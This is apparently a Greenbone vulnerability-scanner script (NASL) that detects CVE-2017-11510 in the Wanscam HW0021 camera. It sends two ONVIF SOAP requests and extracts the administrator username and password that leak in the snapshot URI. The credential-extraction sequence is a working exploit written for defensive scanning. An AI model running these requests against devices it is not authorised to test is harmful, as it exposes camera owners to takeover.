Wanscam HW0021 Administrator Credentials Disclosure

# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.113147");
  script_version("2023-07-20T05:05:18+0000");
  script_tag(name:"last_modification", value:"2023-07-20 05:05:18 +0000 (Thu, 20 Jul 2023)");
  script_tag(name:"creation_date", value:"2018-04-03 12:20:00 +0200 (Tue, 03 Apr 2018)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2019-10-09 23:22:00 +0000 (Wed, 09 Oct 2019)");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_cve_id("CVE-2017-11510");

  script_name("Wanscam HW0021 Administrator Credentials Disclosure");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 8080);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Wanscam HW0021 discloses admin credentials to unauthenticated users.");

  script_tag(name:"vuldetect", value:"The script tries to acquire the admin credentials.");

  script_tag(name:"insight", value:"The URL returned from a GetSnapshotUri request against the ONVIF SOAP Service
  running on the HW0021 camera includes an administrative username and password as cleartext in the GET-parameter.");

  script_tag(name:"impact", value:"Successful exploitation would allow an attacker to acquire administrative
  access to the target device.");

  script_tag(name:"affected", value:"Wanscam HW0021.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"https://www.tenable.com/security/research/tra-2017-33");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");

port = http_get_port( default: 8080 );

res = http_get_cache( port: port, item: "/" );
if( res !~ "http://www.onvif.org/ver10/media/wsdl" ) exit( 0 );

host = http_host_name( port: port );

soap = string( "<?xml version='1.0' encoding='UTF-8'?>\r\n",
               "<SOAP-ENV:Envelope xmlns:SOAP-ENV='http://www.w3.org/2003/05/soap-envelope' xmlns:tds='http://www.onvif.org/ver10/media/wsdl'>\r\n",
               "<SOAP-ENV:Body>\r\n",
               "<tds:GetProfiles/>\r\n",
               "</SOAP-ENV:Body>\r\n",
               "</SOAP-ENV:Envelope>\r\n" );

req = http_post_put_req( port: port, url: "/", data: soap,
                     add_headers: make_array( "Content-Type", "text/xml; charset=UTF-8" ) );
res = http_keepalive_send_recv( data: req, port: port, bodyonly: FALSE );

token_match = eregmatch( string: res, pattern: 'trt:Profiles[^>]*token="([^"]*)"' );
if( isnull( token_match[1] ) ) exit( 0 );

token = token_match[1];

soap = string( "<?xml version='1.0' encoding='UTF-8'?>\r\n",
               "<SOAP-ENV:Envelope xmlns:SOAP-ENV='http://www.w3.org/2003/05/soap-envelope' xmlns:tds='http://www.onvif.org/ver10/media/wsdl'>\r\n",
               "<SOAP-ENV:Body>\r\n",
               "<tds:GetSnapshotUri>\r\n",
               "<tds:ProfileToken>", token, "</tds:ProfileToken>\r\n",
               "</tds:GetSnapshotUri>\r\n",
               "</SOAP-ENV:Body>\r\n",
               "</SOAP-ENV:Envelope>\r\n" );

req = http_post_put_req( port: port, url: "/", data: soap,
                     add_headers: make_array( "Content-Type", "text/xml; charset=UTF-8" ) );
res = http_keepalive_send_recv( data: req, port: port, bodyonly: FALSE );

url_match = eregmatch( string: res, pattern: '<tt:Uri>([^>]*)</tt:Uri>' );
if( ! isnull( url_match[1] ) ) {
  url = url_match[1];
  user_match = eregmatch( string: url, pattern: '-usr=([^&]*)&' );
  pwd_match = eregmatch( string: url, pattern: '-pwd=([^&]*)&' );
  if( ! isnull( user_match[1] ) && ! isnull( pwd_match[1] ) ) {
    report = "It was possible to acquire administrative credentials. Username: '" + user_match[1] +
             "', Password: '" + pwd_match[1] + "'";
    security_message( data: report, port: port );
    exit( 0 );
  }
}

exit( 99 );